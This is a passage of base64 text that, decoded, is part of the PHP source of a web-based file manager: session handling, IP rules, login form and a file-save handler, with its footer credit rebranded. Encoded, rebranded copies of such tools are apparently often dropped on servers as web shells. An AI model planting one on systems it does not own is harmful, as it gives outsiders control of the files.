gZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRma